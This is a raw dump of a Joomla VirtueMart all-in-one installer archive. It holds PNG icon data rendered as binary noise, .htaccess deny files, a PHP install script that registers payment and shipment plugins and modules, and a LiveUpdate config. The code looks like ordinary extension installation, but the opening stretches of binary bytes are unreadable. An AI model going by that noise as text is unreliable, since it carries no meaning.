~=t0"Gκsѿr*!h"x9p@~1>)6sWW?E_t5aK`K)8އBm:Cb|Mz9cv>3xO=G(z~b'# -vH5k.jPӱ5Af+ox a >ۋGY{ǰ\km‹i)e?uLd7}W<ijqcX痢Ki(tq<,d,JޅE| 0RHl ]|ĵfA͚q Yڛ!IENDB`PK@y>\2;\\5components/com_virtuemart_allinone/assets/fail-24.pngnuW+APNG  IHDRw= pHYs  IDATH mVmlS~ιc;q $1 #FƠ&Ԋ jGºǴNU'X;m մ`CZʀB)]nI khY~{P*Z^sy>ǹ|N"qh@ )&0\>I4COa%JXLK|FzJGm-=ֶ 5XWf.71;4tm'./]1 tK^b۾jݱEx҃&@\ܸ]_.&u)o ~pWUuQ(L6L-`< p??:[x;$>^/Knή{kxv`&|6+Xʺe)TܼO tmv>||U>~Y͏}s]jU t+B!q̐ǯ~φe& Y8,L,M-m}eΝP__z֤WNoܨQ&NS%zd3Q;ܹ^M}a .nJ<>ljR6/ȃ H"Cjewܒk+ғhj#dlvq3؇ IvF7F131ʊ%E^63#c7.>5)Ē6.Y{unbT}6ˈ ~\P3jHzũk#-gο1mˎ~0#OX-7DѨTi#%sfͣy/G LcCCp3ł+ဪ^w\G匪ֵU25>+SmXSlٵ\) ϡ+:aC7By$3sx|ӎ-Pmv%[TQSj{ MljhR|o2{脳 -6Rs"IUmg)քÕ SI"6b9(HìKYyiYE'?lCvӎl'K.dTUYīw+7 v.,UH$9 #fvipA9O4zӲ.VfBkCCkyD\ǭRҬv$|YL.*A)CD"^tjX5vFt_ dr Ҫb>4?L}}gɱ~E*Ր+f$odN=\M,+0ɻ [+7ǵ~RL}kDY=:Y~kWṲ;A 4ixytoSHSeMM[W@pW[bme=+H;,#{ E&v?^SBi&qn9Pu2B>#=C)lztM}cf"=Đ>A>뾔Kkifi9ѠS0C!Ţ*RD[Ig谬aV;[|nX,?Ϯ[hFCM %7řŕ8\8As¹|7w %DS-Ȗ{MK4dtŵ@vEo>bpҀ͓ww D:`50P.\^|_. 4Ʒ$;GIENDB`PK@y>\vpVPP7components/com_virtuemart_allinone/assets/update-32.pngnuW+APNG  IHDR szz pHYs  IDATX W[lUΜK QoR"b0& /ĤM|'>ht4BbL4'i(!1z#U Жnﻳ3?̜}9ZXu9 Ӿ %LČ.6';D V6l@p0 @~Hr4VoPJRml@2lM8A Ric TTATPB:`#Ќ~؋ %"\F<-!cfAdԈp eY(S$ -@ a+$bZ5^TgyM55)NK l" Y- RfR00k8D@!2 k I !]Q9P(EU~k"۰nk Ib#?j?ucp<0=lm)UCxmIh%N~ #UPn:)=ROH<Ⱦ;iu+`Aj&$܆E޳Bŝ 5R2Տo빼:tv R#v9FD`2@qGTm@Ŷr}Q G<Պ-}Z|hM"<'(eR(w LE[n!^+1Uu=MkTGv)}rQBX⏂XkdS]T-&|`Q.`S[v7ٛwΘ WptE׌1  %SJq޼]:V҉r;K ˰Ps^|ܝHQne"fiqŒtKx`+OEYքp D?F VSE`$a>6fn?s=[:dH0HˎOt g8w"dO(@Iج|vSK(1$ZPZ$>p6iH! z1F/C6£/ < Iy㐴пXPLҁ($E_~mz]gU$IyCV 4к>QAT!l>"Ew/[HbH+h{uwXz2$sBUqVPPa]x9BI//3N4|[\5r#ZSꑱHy2Jc $^o;'B ǞMsDgGϋy1>.Do.X$a 'fR^'CT$1e*M 2 LJoI?px=1 A<(Xnc_a |cNw[_pF@DŽp_U$-VJ|P^$a i=C R,,[UxYDJ|3xƜpHyzΘ5+@.o/$>L6XX籽 ؅c[±m':+0jDDZwF^-ʷk xSm4‚IENDB`PK@y>\://4components/com_virtuemart_allinone/assets/index.htmlnuW+A PK@y>\^^;components/com_virtuemart_allinone/assets/liveupdate-48.pngnuW+APNG  IHDR00W pHYs  IDAThZ p\ř1}K6Ɩm"A. %d@@%Y6VEq2+ !˧oɺl3:~G11ð=͌}W̨BI,k3ݧ敃Np.TZ$\L:('1L TW\o?TxfZ8_W}A /\zVۉcKuJd!Q.*p< zH&og+|~"@  zn'V{|qiB425"$ nLu`T=A)?ڦ{<5zztQMʙ/=W' ltZP, 0v3c~NE\R&gx_'IfbEpQ# \Tm8l)Pqݍc7Bwy XQ-W9%??,"J>P;$7u f8GiJDJ^v61"jwةA HIHĒYNIr=bf kav-Mgn&%/]4w4$ZLqsl*idOArnL|/SGLQdydrd:h h^{ẄKxX>PrkUj:.9ʼOtxKT{lH |-+6h~&9ڲÉ:czN++o#< y؃}^14np'uC HBkJr?hTJHr[ ܲT6"g NQa -j ^)? ~-ȉdJ  <#@[| VUII/TsG{6Dn[2`ףCv[/R9ԗף}b?\=%x69nBpS E<: B}):>O,]\&/~a\°~5kPU,YC-ίzWOd w{)F*/.Hǿw<֋fTⲢma3ch| zgr \!~̀y$7%Flw.ާ_Xz ;RHV_ `eQ >pWLnZ\Smc=ONv3KeYgop0 )/)1KqVնΩNIn R!p&`3SJH]bc%P/ ^"ֈӑ !/7VZg Fnq&J2w;H$d:g>1i,07w}[^a'lM%ߪj˾?7t+fddTI2E^(TBͳs&)!2G~(ږ%}#\g#BQpn38Gnw_?0I|M𣹞?(g,xto -1wP!Wk&yY)GgosPHb! XY: @)>9t詿Xꡍ/=im&c;%!7moTDt_!XFXXZdMA@Bfp\ѸB/'n|+T阛c1`+{WO$]YTB<MeH<=ZG\J ! aSe+$aԿ0xgY뭦]gS =EΥe`=Ej 0+yU|w i.L+6 CBH Tf(%a3x-TZ?`fGعj]?̟z˺ǃ'sCBiЀ76M,7:T`Vbn մkL B*Rй$mPӌ3ffISOIFoۼ) 3 ~­,!lkCCqe L]x¢8xmY@lC^u!qhԈɿq[Fhu}݀|OΒ]dgC>[h|Lzb[پy{~Е,$֪XS*X/| 60^^wq:YD:,<Xlњf_,yY~IqAnCJQ,k.D|/-_ues3U%k~xd{8KC!~G=yx0bK=zLKZ/%ˎ].5tuɦ*Há!_Į wTx|d Sl۲hKNCM&6pg7\K+xUw޿G葖 [Cg_FUP%bd C&9>cH)SGt[i*UG<3oYkz{C{ޕUiSr@M8Cfxe7I/ 9ۄĠ("+&O͡C[Pq#҄$ #0 Aնm xd]sfxsMD?XfA(ULc]&IZ^OKR++Ww׆wmw׶oizS كJCjG* odj[ ƺ*#uGcQ<>nD҃rovws1ɉ{l,|ub-+2w~:5UB"ረgD*}}  dz|0 p¼rHhqc 0SԠz"[۱g Хٖ_UU bZʹZq;IʘCo$Si/Y,GN\UUޒakͥ avЛ]$⏂HʃW:>ᇻDt8!n $vȀ$f?+hK+SY8!G*}M8zYƄ)!8r>erl*QC<;&gvX%IH7Cfje^[sMM!8ru;QIB׹8,q /C-7ޜm0w񜞜ܜN&Bj}U3owJάlصS:v8%#e}Nne V@|Ɍerc)uzVPH-/ZK1'i+R׍+'^z\%]8GbCJO lnMCeAi\)Bcomponents/com_virtuemart_allinone/plugins/vmcalculation/.htaccessnuW+A Order allow,deny Deny from all PK@y>\VCcomponents/com_virtuemart_allinone/plugins/vmcalculation/index.htmlnuW+A PK@y>\)4components/com_virtuemart_allinone/plugins/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V@components/com_virtuemart_allinone/plugins/vmshipment/index.htmlnuW+A PK@y>\)?components/com_virtuemart_allinone/plugins/vmshipment/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)>components/com_virtuemart_allinone/plugins/vmpayment/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V?components/com_virtuemart_allinone/plugins/vmpayment/index.htmlnuW+A PK@y>\);components/com_virtuemart_allinone/plugins/search/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V>components/com_virtuemart_allinone/plugins/vmcustom/index.htmlnuW+A PK@y>\)=components/com_virtuemart_allinone/plugins/vmcustom/.htaccessnuW+A Order allow,deny Deny from all PK@y>\.>ff8components/com_virtuemart_allinone/script.vmallinone.phpnuW+AvmInstall(); } public function install () { //$this->vmInstall(); } public function discover_install () { //$this->vmInstall(); } public function postflight () { $this->vmInstall (); } public function vmInstall () { jimport ('joomla.filesystem.file'); jimport ('joomla.installer.installer'); $this->createIndexFolder (JPATH_ROOT . DS . 'plugins' . DS . 'vmcalculation'); $this->createIndexFolder (JPATH_ROOT . DS . 'plugins' . DS . 'vmcustom'); $this->createIndexFolder (JPATH_ROOT . DS . 'plugins' . DS . 'vmpayment'); $this->createIndexFolder (JPATH_ROOT . DS . 'plugins' . DS . 'vmshipment'); $this->path = JInstaller::getInstance ()->getPath ('extension_administrator'); $this->updateShipperToShipment (); $this->installPlugin ('Standard', 'plugin', 'standard', 'vmpayment'); $this->installPlugin ('Klarna', 'plugin', 'klarna', 'vmpayment'); $this->installPlugin ('KlarnaCheckout', 'plugin', 'klarnacheckout', 'vmpayment'); $this->installPlugin ('Sofort Banking/Überweisung', 'plugin', 'sofort', 'vmpayment'); $this->installPlugin ('PayPal', 'plugin', 'paypal', 'vmpayment'); $this->installPlugin ('Heidelpay', 'plugin', 'heidelpay', 'vmpayment'); //$this->installPlugin ('PayZen', 'plugin', 'payzen', 'vmpayment'); //$this->installPlugin ('SystemPay', 'plugin', 'systempay', 'vmpayment'); $this->installPlugin ('Moneybookers', 'plugin', 'moneybookers', 'vmpayment'); $this->installPlugin ('Moneybookers Credit Cards', 'plugin', 'moneybookers_acc', 'vmpayment'); $this->installPlugin ('Moneybookers Lastschrift', 'plugin', 'moneybookers_did', 'vmpayment'); $this->installPlugin ('Moneybookers iDeal', 'plugin', 'moneybookers_idl', 'vmpayment'); $this->installPlugin ('Moneybookers Giropay', 'plugin', 'moneybookers_gir', 'vmpayment'); $this->installPlugin ('Moneybookers Sofortueberweisung', 'plugin', 'moneybookers_sft', 'vmpayment'); $this->installPlugin ('Moneybookers Przelewy24', 'plugin', 'moneybookers_pwy', 'vmpayment'); $this->installPlugin ('Moneybookers Online Bank Transfer', 'plugin', 'moneybookers_obt', 'vmpayment'); $this->installPlugin ('Moneybookers Skrill Digital Wallet', 'plugin', 'moneybookers_wlt', 'vmpayment'); $this->installPlugin ('Authorize.net', 'plugin', 'authorizenet', 'vmpayment'); $this->installPlugin ('Sofort iDeal', 'plugin', 'sofort_ideal', 'vmpayment'); $this->installPlugin ('By weight, ZIP and countries', 'plugin', 'weight_countries', 'vmshipment', 1); $this->installPlugin ('Customer text input', 'plugin', 'textinput', 'vmcustom', 1); $this->installPlugin ('Product specification', 'plugin', 'specification', 'vmcustom', 1); $this->installPlugin ('Stockable variants', 'plugin', 'stockable', 'vmcustom', 1); $this->installPlugin ('Avalara Tax', 'plugin', 'avalara', 'vmcalculation' ); // $table = '#__virtuemart_customs'; // $fieldname = 'field_type'; // $fieldvalue = 'G'; // $this->addToRequired($table,$fieldname,$fieldvalue,"INSERT INTO `#__virtuemart_customs` // (`custom_parent_id`, `admin_only`, `custom_title`, `custom_tip`, `custom_value`, `custom_field_desc`, // `field_type`, `is_list`, `is_hidden`, `is_cart_attribute`, `published`) VALUES // (0, 0, 'COM_VIRTUEMART_STOCKABLE_PRODUCT', 'COM_VIRTUEMART_STOCKABLE_PRODUCT_TIP', NULL, // 'COM_VIRTUEMART_STOCKABLE_PRODUCT_DESC', 'G', 0, 0, 0, 1 );"); $this->installPlugin ('VirtueMart Product', 'plugin', 'virtuemart', 'search'); $task = JRequest::getCmd ('task'); if ($task != 'updateDatabase') { // modules auto move $src = $this->path . DS . "modules"; $dst = JPATH_ROOT . DS . "modules"; $this->recurse_copy ($src, $dst); echo "Checking VirtueMart2 modules..."; if (!$this->VmModulesAlreadyInstalled ()) { echo "Installing VirtueMart2 modules
      "; if (version_compare (JVERSION, '1.6.0', 'ge')) { $defaultParams = '{"text_before":"","product_currency":"","cache":"1","moduleclass_sfx":"","class_sfx":""}'; } else { $defaultParams = "text_before=\nproduct_currency=\ncache=1\nmoduleclass_sfx=\nclass_sfx=\n"; } $this->installModule ('VM - Currencies Selector', 'mod_virtuemart_currencies', 4, $defaultParams); if (version_compare (JVERSION, '1.6.0', 'ge')) { $defaultParams = '{"product_group":"featured","max_items":"1","products_per_row":"1","display_style":"list","show_price":"1","show_addtocart":"1","headerText":"Best products","footerText":"","filter_category":"0","virtuemart_category_id":"0","cache":"0","moduleclass_sfx":"","class_sfx":""}'; } else { $defaultParams = "product_group=featured\nmax_items=1\nproducts_per_row=1\ndisplay_style=list\nshow_price=1\nshow_addtocart=1\nheaderText=Best products\nfooterText=\nfilter_category=0\ncategory_id=1\ncache=0\nmoduleclass_sfx=\nclass_sfx=\n"; } $this->installModule ('VM - Featured products', 'mod_virtuemart_product', 3, $defaultParams); if (version_compare (JVERSION, '1.6.0', 'ge')) { $defaultParams = '{"product_group":"topten","max_items":"1","products_per_row":"1","display_style":"list","show_price":"1","show_addtocart":"1","headerText":"","footerText":"","filter_category":"0","virtuemart_category_id":"0","cache":"0","moduleclass_sfx":"","class_sfx":""}'; } else { $defaultParams = "product_group=topten\nmax_items=1\nproducts_per_row=1\ndisplay_style=list\nshow_price=1\nshow_addtocart=1\nheaderText=\nfooterText=\nfilter_category=0\ncategory_id=1\ncache=0\nmoduleclass_sfx=\nclass_sfx=\n"; } $this->installModule ('VM - Best Sales', 'mod_virtuemart_product', 1, $defaultParams); if (version_compare (JVERSION, '1.6.0', 'ge')) { $defaultParams = '{"width":"20","text":"","button":"","button_pos":"right","imagebutton":"","button_text":""}'; } else { $defaultParams = "width=20\ntext=\nbutton=\nbutton_pos=right\nimagebutton=\nbutton_text=\nmoduleclass_sfx=\ncache=1\ncache_time=900\n"; } $this->installModule ('VM - Search in Shop', 'mod_virtuemart_search', 2, $defaultParams); if (version_compare (JVERSION, '1.6.0', 'ge')) { $defaultParams = '{"show":"all","display_style":"list","manufacturers_per_row":"1","headerText":"","footerText":""}'; } else { $defaultParams = "show=all\ndisplay_style=div\nmanufacturers_per_row=1\nheaderText=\nfooterText=\ncache=0\nmoduleclass_sfx=\nclass_sfx="; } $this->installModule ('VM - Manufacturer', 'mod_virtuemart_manufacturer', 5, $defaultParams); if (version_compare (JVERSION, '1.6.0', 'ge')) { $defaultParams = '{"moduleclass_sfx":"","show_price":"1","show_product_list":"1"}'; } else { $defaultParams = "moduleclass_sfx=\nshow_price=1\nshow_product_list=1\n"; } $this->installModule ('VM - Shopping cart', 'mod_virtuemart_cart', 0, $defaultParams); if (version_compare (JVERSION, '1.6.0', 'ge')) { $defaultParams = '{"Parent_Category_id":"0","layout":"default","cache":"0","moduleclass_sfx":"","class_sfx":""}'; } else { $defaultParams = "moduleclass_sfx=\nclass_sfx=\ncategory_name=default\ncache=no\n"; } $this->installModule ('VM - Category', 'mod_virtuemart_category', 6, $defaultParams); } else { echo "VirtueMart2 modules already installed
      "; } // language auto move $src = $this->path . DS . "languageFE"; $dst = JPATH_ROOT . DS . "language"; $this->recurse_copy ($src, $dst); echo " VirtueMart2 language moved to the joomla language FE folder
      "; // language auto move $src = $this->path . DS . "languageBE"; $dst = JPATH_ADMINISTRATOR . DS . "language"; $this->recurse_copy ($src, $dst); echo " VirtueMart2 language moved to the joomla language BE folder
      "; // libraries auto move $src = $this->path . DS . "libraries"; $dst = JPATH_ROOT . DS . "libraries"; $this->recurse_copy ($src, $dst); echo " VirtueMart2 pdf moved to the joomla libraries folder
      "; //update plugins, make em loggable /* $loggables = array( 'created_on' => 'DATETIME NOT NULL DEFAULT "0000-00-00 00:00:00"', 'created_by' => 'INT(11) NOT NULL DEFAULT "0"', 'modified_on'=> 'DATETIME NOT NULL DEFAULT "0000-00-00 00:00:00"', 'modified_by'=> 'INT(11) NOT NULL DEFAULT "0"', 'locked_on' =>'DATETIME NOT NULL DEFAULT "0000-00-00 00:00:00"', 'locked_by' =>'INT(11) NOT NULL DEFAULT "0"' ); foreach($loggables as $key => $value){ $this->checkAddFieldToTable('#__virtuemart_payment_paypal',$key,$value); $this->checkAddFieldToTable('#__virtuemart_payment_standard',$key,$value); $this->checkAddFieldToTable('#__virtuemart_shipment_weight_countries',$key,$value); }*/ echo "

      Installing Virtuemart Plugins and modules Success.

      "; echo "

      You may directly uninstall this component. Your plugins will remain. But we advice to keep the AIO installer for updating

      "; } else { echo "

      Updated Virtuemart Plugin tables

      "; } $this->updateOrderingExtensions(); return TRUE; } private function updateOrderingExtensions(){ $db = JFactory::getDBO (); $q = 'UPDATE `#__extensions` SET `ordering`= 5 WHERE `folder` ="vmpayment"'; $db->setQuery($q); $db->query(); $q = 'UPDATE `#__extensions` SET `ordering`= 1 WHERE `element` ="klarna"'; $db->setQuery($q); $db->query(); $q = 'UPDATE `#__extensions` SET `ordering`= 2 WHERE `element` ="sofort"'; $db->setQuery($q); $db->query(); $q = 'UPDATE `#__extensions` SET `ordering`= 2 WHERE `element` ="sofort_ideal"'; $db->setQuery($q); $db->query(); $q = 'UPDATE `#__extensions` SET `ordering`= 3 WHERE `element` ="paypal"'; $db->setQuery($q); $db->query(); $q = 'UPDATE `#__extensions` SET `ordering`= 100 WHERE `element` ="payzen"'; $db->setQuery($q); $db->query(); $q = 'UPDATE `#__extensions` SET `ordering`= 100 WHERE `element` ="systempay"'; $db->setQuery($q); $db->query(); } /** * Installs a vm plugin into the database * */ private function installPlugin ($name, $type, $element, $group, $published = 0, $createJPluginTable = 1) { $task = JRequest::getCmd ('task'); if ($task != 'updateDatabase') { $data = array(); $src = $this->path . DS . 'plugins' . DS . $group . DS . $element; if ($createJPluginTable) { if (version_compare (JVERSION, '1.7.0', 'ge')) { // Joomla! 1.7 code here $table = JTable::getInstance ('extension'); $data['enabled'] = $published; $data['access'] = 1; $tableName = '#__extensions'; $idfield = 'extension_id'; } elseif (version_compare (JVERSION, '1.6.0', 'ge')) { // Joomla! 1.6 code here $table = JTable::getInstance ('extension'); $data['enabled'] = $published; $data['access'] = 1; $tableName = '#__extensions'; $idfield = 'extension_id'; } else { // Joomla! 1.5 code here $table = JTable::getInstance ('plugin'); $data['published'] = $published; $data['access'] = 0; $tableName = '#__plugins'; $idfield = 'id'; } $data['name'] = $name; $data['type'] = $type; $data['element'] = $element; $data['folder'] = $group; $data['client_id'] = 0; $db = JFactory::getDBO (); $q = 'SELECT COUNT(*) FROM `' . $tableName . '` WHERE `element` = "' . $element . '" and folder = "' . $group . '" '; $db->setQuery ($q); $count = $db->loadResult (); //We write only in the table, when it is not installed already if ($count == 0) { // $table->load($count); if (version_compare (JVERSION, '1.6.0', 'ge')) { $data['manifest_cache'] = json_encode (JApplicationHelper::parseXMLInstallFile ($src . DS . $element . '.xml')); } if (!$table->bind ($data)) { $app = JFactory::getApplication (); $app->enqueueMessage ('VMInstaller table->bind throws error for ' . $name . ' ' . $type . ' ' . $element . ' ' . $group); } if (!$table->check ($data)) { $app = JFactory::getApplication (); $app->enqueueMessage ('VMInstaller table->check throws error for ' . $name . ' ' . $type . ' ' . $element . ' ' . $group); } if (!$table->store ($data)) { $app = JFactory::getApplication (); $app->enqueueMessage ('VMInstaller table->store throws error for ' . $name . ' ' . $type . ' ' . $element . ' ' . $group); } $errors = $table->getErrors (); foreach ($errors as $error) { $app = JFactory::getApplication (); $app->enqueueMessage (get_class ($this) . '::store ' . $error); } // remove duplicated } elseif ($count == 2) { $q = 'SELECT ' . $idfield . ' FROM `' . $tableName . '` WHERE `element` = "' . $element . '" ORDER BY `' . $idfield . '` DESC LIMIT 0,1'; $db->setQuery ($q); $duplicatedPlugin = $db->loadResult (); $q = 'DELETE FROM `' . $tableName . '` WHERE ' . $idfield . ' = ' . $duplicatedPlugin; $db->setQuery ($q); $db->query (); } } } if (version_compare (JVERSION, '1.7.0', 'ge')) { // Joomla! 1.7 code here $dst = JPATH_ROOT . DS . 'plugins' . DS . $group . DS . $element; } elseif (version_compare (JVERSION, '1.6.0', 'ge')) { // Joomla! 1.6 code here $dst = JPATH_ROOT . DS . 'plugins' . DS . $group . DS . $element; } else { // Joomla! 1.5 code here $dst = JPATH_ROOT . DS . 'plugins' . DS . $group; } if ($task != 'updateDatabase') { $this->recurse_copy ($src, $dst); } if ($group != 'search') { $this->updatePluginTable ($name, $type, $element, $group, $dst); } else { if (version_compare (JVERSION, '1.6.0', 'ge')) { $this->updatePluginTable ($name, $type, $element, $group, $dst); } } } public function updatePluginTable ($name, $type, $element, $group, $dst) { $app = JFactory::getApplication (); //Update Tables if (!class_exists ('VmConfig')) { require(JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_virtuemart' . DS . 'helpers' . DS . 'config.php'); } if (class_exists ('VmConfig')) { $pluginfilename = $dst . DS . $element . '.php'; require ($pluginfilename); //plgVmpaymentPaypal $pluginClassname = 'plg' . ucfirst ($group) . ucfirst ($element); //Let's get the global dispatcher $dispatcher = JDispatcher::getInstance (); $config = array('type' => $group, 'name' => $group, 'params' => ''); $plugin = new $pluginClassname($dispatcher, $config); ; // $updateString = $plugin->getVmPluginCreateTableSQL(); //if(function_exists($plugin->getTableSQLFields)){ $_psType = substr ($group, 2); $tablename = '#__virtuemart_' . $_psType . '_plg_' . $element; $db = JFactory::getDBO (); $prefix = $db->getPrefix (); $query = 'SHOW TABLES LIKE "' . str_replace ('#__', $prefix, $tablename) . '"'; $db->setQuery ($query); $result = $db->loadResult (); //$app -> enqueueMessage( get_class( $this ).':: '.$query.' '.$result); if ($result) { $SQLfields = $plugin->getTableSQLFields (); $loggablefields = $plugin->getTableSQLLoggablefields (); $tablesFields = array_merge ($SQLfields, $loggablefields); $update[$tablename] = array($tablesFields, array(), array()); vmdebug ('install plugin', $update); $app->enqueueMessage (get_class ($this) . ':: VirtueMart2 update ' . $tablename); if (!class_exists ('GenericTableUpdater')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); } $updater = new GenericTableUpdater(); $updater->updateMyVmTables ($update); } //} // } else { // $app = JFactory::getApplication(); // $app -> enqueueMessage( get_class( $plugin ).':: VirtueMart2 function getTableSQLFields not found'); // } } else { $app = JFactory::getApplication (); $app->enqueueMessage (get_class ($this) . ':: VirtueMart2 must be installed, or the tables cant be updated '); } } public function installModule ($title, $module, $ordering, $params) { $params = ''; $table = JTable::getInstance ('module'); $db = $table->getDBO (); $q = 'SELECT id FROM `#__modules` WHERE `module` = "' . $module . '" '; $db->setQuery ($q); $id = $db->loadResult (); $src = JPATH_ROOT . DS . 'modules' . DS . $module; if (!empty($id)) { return; } $table->load (); if (version_compare (JVERSION, '1.7.0', 'ge')) { // Joomla! 1.7 code here $position = 'position-4'; $access = 1; } else { if (version_compare (JVERSION, '1.6.0', 'ge')) { // Joomla! 1.6 code here $access = 1; } else { // Joomla! 1.5 code here $position = 'left'; $access = 0; } } if (empty($table->title)) { $table->title = $title; } if (empty($table->ordering)) { $table->ordering = $ordering; } if (empty($table->published)) { $table->published = 1; } if (empty($table->module)) { $table->module = $module; } if (empty($table->params)) { $table->params = $params; } if (empty($table->access)) { $table->access = $access; } if (empty($table->position)) { $table->position = $position; } if (empty($table->client_id)) { $table->client_id = $client_id = 0; } // $data['manifest_cache'] =''; // if(!empty($id)){ // unset($data['manifest_cache']); // $table->load($id); // if(empty($table->manifest_cache)){ // if(version_compare(JVERSION,'1.6.0','ge')) { // $data['manifest_cache'] = json_encode(JApplicationHelper::parseXMLInstallFile($src.DS.$module.'.xml')); // } // } // } // if(empty($count)){ // if(!$table->bind($data)){ // $app = JFactory::getApplication(); // $app -> enqueueMessage('VMInstaller table->bind throws error for '.$title.' '.$module.' '.$params); // } if (!$table->check ()) { $app = JFactory::getApplication (); $app->enqueueMessage ('VMInstaller table->check throws error for ' . $title . ' ' . $module . ' ' . $params); } if (!$table->store ()) { $app = JFactory::getApplication (); $app->enqueueMessage ('VMInstaller table->store throws error for for ' . $title . ' ' . $module . ' ' . $params); } $errors = $table->getErrors (); foreach ($errors as $error) { $app = JFactory::getApplication (); $app->enqueueMessage (get_class ($this) . '::store ' . $error); } // } $lastUsedId = $table->id; $q = 'SELECT moduleid FROM `#__modules_menu` WHERE `moduleid` = "' . $lastUsedId . '" '; $db->setQuery ($q); $moduleid = $db->loadResult (); $action = ''; if (empty($moduleid)) { $q = 'INSERT INTO `#__modules_menu` (`moduleid`, `menuid`) VALUES( "' . $lastUsedId . '" , "0");'; } else { //$q = 'UPDATE `#__modules_menu` SET `menuid`= "0" WHERE `moduleid`= "'.$moduleid.'" '; } $db->setQuery ($q); $db->query (); if (version_compare (JVERSION, '1.6.0', 'ge')) { $q = 'SELECT extension_id FROM `#__extensions` WHERE `element` = "' . $module . '" '; $db->setQuery ($q); $ext_id = $db->loadResult (); // $manifestCache = str_replace('"', '\'', $data["manifest_cache"]); $action = ''; if (empty($ext_id)) { if (version_compare (JVERSION, '1.6.0', 'ge')) { $manifest_cache = json_encode (JApplicationHelper::parseXMLInstallFile ($src . DS . $module . '.xml')); } $q = 'INSERT INTO `#__extensions` (`name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `ordering`) VALUES ( "' . $module . '" , "module", "' . $module . '", "", "0", "1","' . $access . '", "0", "' . $db->getEscaped ($manifest_cache) . '", "' . $params . '","' . $ordering . '");'; } else { /* $q = 'UPDATE `#__extensions` SET `name`= "'.$module.'", `type`= "module", `element`= "'.$module.'", `folder`= "", `client_id`= "'.$client_id.'", `enabled`= "1", `access`= "'.$access.'", `protected`= "0", `ordering`= "'.$ordering.'" WHERE `extension_id`= "'.$ext_id.'" ';*/ } $db->setQuery ($q); if (!$db->query ()) { $app = JFactory::getApplication (); $app->enqueueMessage (get_class ($this) . ':: ' . $db->getErrorMsg ()); } } } public function VmModulesAlreadyInstalled () { // when the modules are already installed publish=-2 $table = JTable::getInstance ('module'); $db = $table->getDBO (); $q = 'SELECT count(*) FROM `#__modules` WHERE `module` LIKE "mod_virtuemart_%"'; $db->setQuery ($q); $count = $db->loadResult (); return $count; } /** * @author Max Milbers * @param string $tablename * @param string $fields * @param string $command */ private function alterTable ($tablename, $fields, $command = 'CHANGE') { if (empty($this->db)) { $this->db = JFactory::getDBO (); } $query = 'SHOW COLUMNS FROM `' . $tablename . '` '; $this->db->setQuery ($query); $columns = $this->db->loadResultArray (0); foreach ($fields as $fieldname => $alterCommand) { if (in_array ($fieldname, $columns)) { $query = 'ALTER TABLE `' . $tablename . '` ' . $command . ' COLUMN `' . $fieldname . '` ' . $alterCommand; $this->db->setQuery ($query); $this->db->query (); } } } /** * * @author Max Milbers * @param string $table * @param string $field * @param string $fieldType * @return boolean This gives true back, WHEN it altered the table, you may use this information to decide for extra post actions */ private function checkAddFieldToTable ($table, $field, $fieldType) { $query = 'SHOW COLUMNS FROM `' . $table . '` '; $this->db->setQuery ($query); $columns = $this->db->loadResultArray (0); if (!in_array ($field, $columns)) { $query = 'ALTER TABLE `' . $table . '` ADD ' . $field . ' ' . $fieldType; $this->db->setQuery ($query); if (!$this->db->query ()) { $app = JFactory::getApplication (); $app->enqueueMessage ('Install checkAddFieldToTable ' . $this->db->getErrorMsg ()); return FALSE; } else { return TRUE; } } return FALSE; } private function updateShipperToShipment () { if (empty($this->db)) { $this->db = JFactory::getDBO (); } if (version_compare (JVERSION, '1.6.0', 'ge')) { // Joomla! 1.6 code here $table = JTable::getInstance ('extension'); $tableName = '#__extensions'; $idfield = 'extension_id'; } else { // Joomla! 1.5 code here $table = JTable::getInstance ('plugin'); $tableName = '#__plugins'; $idfield = 'id'; } $q = 'SELECT ' . $idfield . ' FROM ' . $tableName . ' WHERE `folder` = "vmshipper" '; $this->db->setQuery ($q); $result = $this->db->loadResult (); if ($result) { $q = 'UPDATE `' . $tableName . '` SET `folder`="vmshipment" WHERE `extension_id`= ' . $result; $this->db->setQuery ($q); $this->db->query (); } } /** * copy all $src to $dst folder and remove it * * @author Max Milbers * @param String $src path * @param String $dst path * @param String $type modules, plugins, languageBE, languageFE */ private function recurse_copy ($src, $dst) { $dir = opendir ($src); $this->createIndexFolder ($dst); if (is_resource ($dir)) { while (FALSE !== ($file = readdir ($dir))) { if (($file != '.') && ($file != '..')) { if (is_dir ($src . DS . $file)) { $this->recurse_copy ($src . DS . $file, $dst . DS . $file); } else { if (JFile::exists ($dst . DS . $file)) { if (!JFile::delete ($dst . DS . $file)) { $app = JFactory::getApplication (); $app->enqueueMessage ('Couldnt delete ' . $dst . DS . $file); } } if (!JFile::move ($src . DS . $file, $dst . DS . $file)) { $app = JFactory::getApplication (); $app->enqueueMessage ('Couldnt move ' . $src . DS . $file . ' to ' . $dst . DS . $file); } } } } closedir ($dir); if (is_dir ($src)) { JFolder::delete ($src); } } else { $app = JFactory::getApplication (); $app->enqueueMessage ('Couldnt read dir ' . $dir . ' source ' . $src); } } public function uninstall () { return TRUE; } /** * creates a folder with empty html file * * @author Max Milbers * */ public function createIndexFolder ($path) { if (JFolder::create ($path)) { if (!JFile::exists ($path . DS . 'index.html')) { JFile::copy (JPATH_ROOT . DS . 'components' . DS . 'index.html', $path . DS . 'index.html'); } return TRUE; } return FALSE; } } // PLZ look in #vminstall.php# to add your plugin and module function com_install () { if (!version_compare (JVERSION, '1.6.0', 'ge')) { $vmInstall = new com_virtuemart_allinoneInstallerScript(); $vmInstall->vmInstall (); } return TRUE; } function com_uninstall () { return TRUE; } } //if defined // pure php no tag PK@y>\),components/com_virtuemart_allinone/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ߋ-components/com_virtuemart_allinone/config.phpnuW+A */ defined('_JEXEC') or die(); /** * Configuration class for your extension's updates. Override to your liking. */ class LiveUpdateConfig extends LiveUpdateAbstractConfig { var $_extensionName = 'com_virtuemart_allinone'; var $_extensionTitle = 'Virtuemart 2 All in one Installer'; var $_updateURL = 'http://virtuemart.net/index.php?option=com_ars&view=update&format=ini&id=4'; var $_requiresAuthorization = false; var $_versionStrategy = 'different'; function __construct() { $this->_cacerts = dirname(__FILE__).'/../assets/cacert.pem'; parent::__construct(); } 